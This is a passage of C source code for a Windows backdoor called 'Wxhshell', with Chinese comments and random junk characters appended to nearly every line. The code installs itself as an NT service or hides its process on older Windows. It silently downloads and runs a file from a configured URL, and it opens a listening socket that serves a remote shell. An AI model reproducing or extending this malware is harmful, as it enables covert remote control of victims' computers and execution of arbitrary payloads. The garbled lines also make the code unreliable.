ULONG InheritedFromUniqueProcessId; (.J6>"K<
} PROCESS_BASIC_INFORMATION; M!`&Z9N
7VIfRN{5n
PROCNTQSIP NtQueryInformationProcess; &q7}HO/ @
Mdw"^x$7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?vBMx _0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *ZkOZ
RRb>]oD
HANDLE hProcess; H73 r3BH
PROCESS_BASIC_INFORMATION pbi; Pk3b#$+E
^/ff)'.J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :@b=;
if(NULL == hInst ) return 0; D nl|B\
}~v&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *snY|hF
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rDWwu'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /EW=OZ/
Wh)>E!~9
if (!NtQueryInformationProcess) return 0; %oOSmt
v t_lM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {,=U]^A
if(!hProcess) return 0; 2Rqpok4
Ofc
u4pi
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /pC60y}O0
!lL~#l:F
CloseHandle(hProcess); (kVxa8 0
kr\#CW0?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bdcs}Ga
if(hProcess==NULL) return 0; Q 5&|1m Pb
ctoh&5%!n+
HMODULE hMod; Ub{7 Xk
n
char procName[255]; Y1;jRIOA
unsigned long cbNeeded; {(IHHA>
D4T42L
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mhMTn*9
Doe:m#aNj
CloseHandle(hProcess); ~bqw !rz
+3k.xP?QS
if(strstr(procName,"services")) return 1; // 以服务启动 ro+8d
uO( (Mg
return 0; // 注册表启动 O!'gylj/
} {Ia1Wd 8n
G b4p"3
// 主模块 pwvmb\
int StartWxhshell(LPSTR lpCmdLine) ,z01*Yx
{ x21XzGLY|}
SOCKET wsl; GMY[Gd
BOOL val=TRUE; mT>RQ.
int port=0; -;O"Y?ME
struct sockaddr_in door; [1l OGck[
_n0NE0
if(wscfg.ws_autoins) Install(); ,*sKr)9)
b"2_EnE}1
port=atoi(lpCmdLine); Jim5Ul
\('WS[$2
if(port<=0) port=wscfg.ws_port; ?^ R"a##
/&E]qc*-p
WSADATA data; Z kBWVZb
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 50dx[v8
pQxv_4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ml,in49
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iX6*OEl/Q
door.sin_family = AF_INET; @,{Qa!A>l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); O<J<)_W)
door.sin_port = htons(port); l\TL=8u2c
6n\){dkZ~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5~OKKSUmT
closesocket(wsl); d/b\:[B@
return 1; `NQ;|!
} ,E8g~ZUY9
ey$H2zmo
if(listen(wsl,2) == INVALID_SOCKET) { ^e]h\G
closesocket(wsl); DB0?H+8t
return 1; I :8s 3;
} im9Pj b%
Wxhshell(wsl); NOFH
WSACleanup(); Q]]M;(
/GF"D5
return 0; %Q=rm!Syv
z%nplG'~|
} KuF>2KX~Y
lSy_cItF
// 以NT服务方式启动 " eS-i@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (/S6b
{ 9RC:-d;;_
DWORD status = 0; FjW%M;H
DWORD specificError = 0xfffffff; :|-^et]a8
7HJH9@8V
serviceStatus.dwServiceType = SERVICE_WIN32; #@F
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RLO<5L
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @cQ
|`
serviceStatus.dwWin32ExitCode = 0; BnG{)\s
serviceStatus.dwServiceSpecificExitCode = 0; d>0 j!+s
serviceStatus.dwCheckPoint = 0; HP=5a.
serviceStatus.dwWaitHint = 0; EL6<%~,V"I
W]D+[mpgK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `69xR[f
if (hServiceStatusHandle==0) return; u~!Pzz3"
\Hu?K\SWs
status = GetLastError(); bV:MOj^
if (status!=NO_ERROR) (e32oP"
{ ^[EXTBk@:
serviceStatus.dwCurrentState = SERVICE_STOPPED; u}7r\MnwK,
serviceStatus.dwCheckPoint = 0; .PCbGPbk
serviceStatus.dwWaitHint = 0; miV 8jaV
serviceStatus.dwWin32ExitCode = status; !
QKec
serviceStatus.dwServiceSpecificExitCode = specificError; 5*O]`Q7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mn*5oH
return; uFG ;AY|
} 0xV[C4E[6
?SX0e(+}}
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1]aya(
serviceStatus.dwCheckPoint = 0; w ; PV
&M
serviceStatus.dwWaitHint = 0; AQPzId*z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6-\C?w
A
} N::.o+1
'EB5#
// 处理NT服务事件,比如:启动、停止 b{,vZhP-
VOID WINAPI NTServiceHandler(DWORD fdwControl) j?(@x>HA
{ .p'\@@o5
switch(fdwControl) RPkOtRKL=w
{ DCgiTT\
case SERVICE_CONTROL_STOP: 7??j}ob>
serviceStatus.dwWin32ExitCode = 0; (`d _DQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; ah!fQLMH
serviceStatus.dwCheckPoint = 0; /4 .]L~
serviceStatus.dwWaitHint = 0; 9$^v*!<z\
{ KA."[dVa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +}C M2>M
} T_qh_L3
return; u73/#!(1=H
case SERVICE_CONTROL_PAUSE: V6b)
serviceStatus.dwCurrentState = SERVICE_PAUSED; Yt;@@xe&
break; mZ.E;X& ,*
case SERVICE_CONTROL_CONTINUE: t`0(5v
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^ |>)H
break; 30h1)nQ$h}
case SERVICE_CONTROL_INTERROGATE: R[2h!.O8
break; `4"&_ltD
}; d-"[-+)-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u
&{|f
} %/wfY Rp*
9z(h8H
// 标准应用程序主函数 m
A|"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tHo/Vly6Z
{ (z'!'?v;
u_S>`I
// 获取操作系统版本 "HbrYYRb'
OsIsNt=GetOsVer(); s`,. &
GetModuleFileName(NULL,ExeFile,MAX_PATH); fQ,(,^!;
9'!I6;M
// 从命令行安装 4\Cb4jq%/
if(strpbrk(lpCmdLine,"iI")) Install(); [mQ*];GA
^Cn_
ODjo
// 下载执行文件 7h.:XlUm|
if(wscfg.ws_downexe) { }u~r.=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y{\(|j
WinExec(wscfg.ws_filenam,SW_HIDE); }{e7wqS$&,
} G$
Ii
\4&FW|mx
if(!OsIsNt) { Gp))1b';
// 如果时win9x,隐藏进程并且设置为注册表启动 ?[q.1O
HideProc(); &?7+8n&+
StartWxhshell(lpCmdLine); }UHoa
} B9h>
else S?m4
if(StartFromService()) .:jfNp~jt
// 以服务方式启动 [u`9R<>c"U
StartServiceCtrlDispatcher(DispatchTable); FZtILlw
else cH$Sk
// 普通方式启动 D\V
(r\i
StartWxhshell(lpCmdLine); N%`Eq@5
"a>a
"Ei
return 0; vM2\tL@"
}